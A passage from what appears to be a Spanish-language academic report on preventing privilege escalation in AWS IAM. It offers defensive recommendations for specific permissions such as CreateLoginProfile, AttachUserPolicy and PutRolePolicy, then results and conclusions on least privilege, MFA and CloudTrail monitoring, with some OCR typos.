operativas. Mantener registros de auditoria es crucial para supervisar las actividades relacionadas
con la creacion de claves de acceso, permitiendo una respuesta rapida ante comportamientos
sospechosos. Ademads, se recomienda implementar practicas de rotacion regular de claves,
preferiblemente utilizando roles en lugar de usuarios, y considerar la autenticacion multifactor
(MFA) para usuarios que requieran este permiso, con el fin de reforzar la seguridad.
Recomendaciones para el permiso CreateLoginProfile

El permiso CreateLoginProfile debe ser concedido exclusivamente a los usuarios o roles
que necesiten crear perfiles de inicio de sesion. Se aconseja evitar su asignacion indiscriminada y
utilizar roles de IAM para otorgar permisos temporalmente segiin sea necesario, en lugar de
conceder permisos directamente a usuarios individuales. Definir politicas de IAM explicitas que
limiten el acceso a las cuentas y recursos especificos necesarios para crear perfiles de inicio de

sesion es fundamental. Ademas, se recomienda el uso de CloudTrail para registrar todas las



acciones relacionadas con este permiso y configurar alarmas en CloudWatch para detectar
actividades inusuales o potencialmente maliciosas.
Recomendaciones para el Permiso UpdateLoginProfile

El permiso UpdateLoginProfile debe ser asignado inicamente a usuarios o roles que
realmente necesiten modificar perfiles de inicio de sesion. Se aconseja evitar su concesion
indiscriminada debido al riesgo potencial de cambios no deseados, como la alteracion de
contrasefias de otros usuarios. Es esencial habilitar el registro de eventos de CloudTrail para
realizar un seguimiento detallado de las acciones realizadas con este permiso y asi monitorear
quién esta efectuando cambios en los perfiles de inicio de sesidon y cuando se estan llevando a
cabo esos cambios.
Recomendaciones para el Permiso AddUserToGroup

El permiso AddUserToGroup debe ser asignado tinicamente a usuarios o roles que
necesiten agregar usuarios a grupos especificos para cumplir con sus funciones asignadas. Se
sugiere crear grupos de usuarios 16gicos y asignar permisos de AddUserToGroup a aquellos
usuarios o roles responsables de administrar esos grupos. Realizar revisiones periddicas de los
Susuarios con este permiso y revocar el acceso de aquellos que ya no lo necesiten es una buena
practica. Ademas, considerar el uso de politicas de condiciones para limitar ain mas esta accion
segun criterios especificos, como la pertenencia a un rol determinado o la direccion IP de origen.
Recomendaciones para el Permiso CreatePolicyVersion

El permiso CreatePolicyVersion debe ser otorgado inicamente a roles o usuarios que
realmente lo necesiten para desempenar sus funciones especificas. Se recomienda evitar su
concesion de manera generalizada para reducir el riesgo de uso indebido. Utilizar politicas de

IAM para limitar quiénes pueden ejecutar esta accion y en qué recursos especificos garantiza un



control mas preciso sobre los cambios en las politicas. Establecer alertas y registros de auditoria
para detectar y registrar creaciones inesperadas de versiones de politicas es crucial para mantener
la seguridad del entorno de IAM.
Recomendaciones para el Permiso SetDefaultPolicyVersion

El permiso SetDefaultPolicyVersion debe ser otorgado solo a roles o usuarios que
necesiten especificamente la capacidad de establecer una version de politica como
predeterminada. Es importante evitar conceder este permiso a usuarios o roles que no lo
necesiten, ya que podria resultar en cambios no deseados en las politicas. Otorgar el permiso con
la menor cantidad de privilegios necesarios y establecer politicas de IAM con condiciones
adicionales para limitar su uso garantiza un control mas granular sobre esta accion.
Recomendaciones para el Permiso AttachUserPolicy

El permiso AttachUserPolicy debe asignarse con cuidado, otorgando solo los privilegios
necesarios para que el usuario pueda realizar sus funciones especificas. Se sugiere realizar
revisiones regulares de los permisos adjuntos para asegurarse de que sigan siendo apropiados en
funcion de las responsabilidades del usuario. Considerar el uso de roles de IAM en lugar de
adjuntar politicas directamente a los usuarios puede proporcionar una mayor flexibilidad y
control sobre el acceso.
Recomendaciones para el Permiso AttachGroupPolicy

El permiso AttachGroupPolicy debe otorgarse selectivamente, asignando solo los
permisos necesarios para que un grupo de usuarios pueda cumplir con sus funciones especificas.
Antes de adjuntar una politica de grupo, es importante realizar pruebas exhaustivas para

garantizar que los permisos otorgados sean los esperados y no den lugar a accesos no deseados o



riesgos de seguridad. Crear politicas especificas para cada grupo de usuarios en lugar de utilizar
una politica genérica permite una asignacion mas precisa de permisos.
Recomendaciones para el Permiso PutUserPolicy

El permiso PutUserPolicy debe otorgarse tinicamente a usuarios o roles que realmente lo
necesiten para realizar tareas especificas. Es crucial realizar revisiones regulares de las politicas
creadas con este permiso para asegurarse de que solo contengan los permisos necesarios y no
hayan sido modificadas de manera maliciosa.
Recomendaciones para el Permiso PutGroupPolicy

El permiso PutGroupPolicy debe asignarse de manera selectiva y solo otorgarse cuando
sea estrictamente necesario para cumplir con las responsabilidades del usuario o del servicio. Se
recomienda revisar y actualizar regularmente los permisos concedidos para asegurarse de que
sigan siendo necesarios y apropiados.
Recomendaciones para el Permiso PutRolePolicy

El permiso PutRolePolicy debe ser otorgado tinicamente a roles o usuarios que realmente
necesiten modificar politicas de roles. Se aconseja implementar politicas de acceso basadas en
roles para limitar quién puede ejecutar esta accion y asignar este permiso solo a roles especificos

asociados con administradores de politicas de IAM u otros roles autorizados.



Resultados

Implementacion de Buenas Précticas: Se lograron establecer una serie de buenas
practicas de seguridad para el servicio AWS Identity and Access Management (IAM), como el
principio de menor privilegio, la politica de acceso condicional y la autenticacion multifactor.
Estas practicas permiten mitigar riesgos de escalacion de privilegios y proteger la infraestructura
de AWS.

Gestion de Permisos Criticos: Se identificaron los permisos mas criticos en IAM que
pueden ser utilizados para comprometer la seguridad si son mal gestionados, como
CreateAccessKey, CreateLoginProfile y AttachUserPolicy. A través del andlisis, se demostraron
escenarios de posibles ataques y se proporcionaron recomendaciones para prevenirlos,
incluyendo la asignacion selectiva de permisos y el monitoreo constante mediante herramientas
como CloudTrail y CloudWatch.

Propuestas de Seguridad Especificas: Se realizaron recomendaciones detalladas para la
gestion segura de permisos en IAM, priorizando la rotacion regular de credenciales, la revision
periodica de permisos y el uso de politicas basadas en roles. Esto ayuda a minimizar las
oportunidades de escalacion de privilegios y mantener un control adecuado sobre el acceso a los
recursos.

Fortalecimiento de la Cultura de Seguridad: Se enfatizo la importancia de educar a los
usuarios sobre buenas practicas de seguridad en AWS IAM, promoviendo la formacién en
seguridad como parte de las politicas organizacionales para reducir el riesgo de acceso no
autorizado y proteger los datos y recursos en la nube.

Mitigacion Proactiva de Riesgos: A través de la implementacion de estas

recomendaciones, se mejoro la capacidad de las organizaciones para identificar y mitigar



vulnerabilidades de manera proactiva, reduciendo el riesgo de compromiso de la seguridad en los

entornos de AWS [AM.



Conclusiones

La implementacion de buenas practicas de seguridad en el Servicio AWS Identity And
Access Management (IAM) es fundamental para mitigar el riesgo de escalacion de privilegios y
garantizar la integridad y confidencialidad de los recursos de la nube. Estas practicas, como el
principio de menor privilegio, la implementacion de politicas de acceso condicional y la revision
periodica de permisos, ayudan a limitar el alcance de posibles brechas de seguridad y a mantener
un entorno de IAM seguro y bien gestionado.

IAM desempefia un papel crucial en la seguridad de AWS al proporcionar un control
granular sobre quién tiene acceso a los recursos y qué acciones pueden realizar. Las
recomendaciones especificas para cada permiso, como la asignacion selectiva, la revision regular
de permisos y el uso de politicas explicitas, son aspectos clave para garantizar una gestion
efectiva de la seguridad en IAM. Al seguir estas recomendaciones, las organizaciones pueden
reducir el riesgo de acceso no autorizado y mantener un entorno de AWS seguro y protegido.

Las buenas practicas de seguridad, como la implementacion de politicas basadas en roles,
la rotacion regular de credenciales y el monitoreo activo de actividades, son esenciales para
proteger los activos y datos en la nube. Al hacer hincapié en estas practicas, se promueve una
cultura de seguridad en la organizacion y se fortalece la postura de seguridad de AWS frente a
amenazas potenciales.

Las recomendaciones especificas para cada permiso, como la asignacion cuidadosa de
permisos, el uso de herramientas de auditoria y monitoreo, y la implementacion de controles de
acceso adicionales, tienen un impacto significativo en la gestién de riesgos en entornos de AWS

IAM. Al seguir estas recomendaciones, las organizaciones pueden identificar y mitigar



proactivamente posibles vulnerabilidades y amenazas, reduciendo asi el riesgo de compromiso

de la seguridad y protegiendo la integridad de sus datos y recursos en la nube.



Recomendaciones

Importancia del Principio de Menor Privilegio: La aplicacion del principio de menor
privilegio en IAM de AWS es esencial para limitar el riesgo de escalacion de privilegios y
reducir la exposicion a posibles brechas de seguridad. Conceder permisos de manera selectiva y
limitar los privilegios a lo estrictamente necesario ayuda a evitar el acceso no autorizado y a
mantener un entorno seguro.

Sobre la Implementacion de Politicas Basadas en Roles: La implementacion de
politicas basadas en roles simplifica la gestion de permisos y proporciona un control granular
sobre quién tiene acceso a los recursos y qué acciones pueden realizar. Esta practica ayuda a
garantizar una gestion efectiva de la seguridad en IAM, fortaleciendo asi la postura de seguridad
dentro de AWS frente a posibles amenazas.

Revision Periddica de Permisos: La revision regular de los permisos asignados es una
practica fundamental para garantizar su relevancia y adecuacion. Esta actividad permite
identificar y revocar cualquier acceso no necesario o que haya quedado obsoleto debido a
cambios en las responsabilidades de los usuarios o en los requisitos operativos, contribuyendo asi
a mantener un entorno seguro y bien gestionado.

Importancia del Monitoreo Activo y la Auditoria: Establecer registros de auditoria y
utilizar herramientas de monitoreo para supervisar la actividad de los usuarios es crucial para
identificar posibles anomalias o comportamientos sospechosos. El monitoreo activo ayuda a
detectar y responder rapidamente a cualquier actividad maliciosa o inusual, fortaleciendo asi la
seguridad del entorno de IAM de AWS.

Sobre la Autenticacion Multifactor (MFA): Requerir autenticacion multifactor para los

usuarios que necesiten permisos IAM especificos agrega una capa adicional de seguridad. Esta



practica refuerza la autenticacion y ayuda a proteger contra el acceso no autorizado, mitigando
asi el riesgo de compromiso de la seguridad en IAM de AWS.

Sobre la Formacion en Seguridad: Educar a los usuarios sobre practicas de seguridad,
incluida la identificacion de intentos de ingenieria social y la importancia de proteger sus
credenciales, es fundamental para promover una cultura de seguridad en la organizacion. La
formacion en seguridad ayuda a aumentar la conciencia sobre las mejores practicas de seguridad
en IAM de AWS y a fortalecer la postura de seguridad de la organizacion frente a posibles

amenazas.
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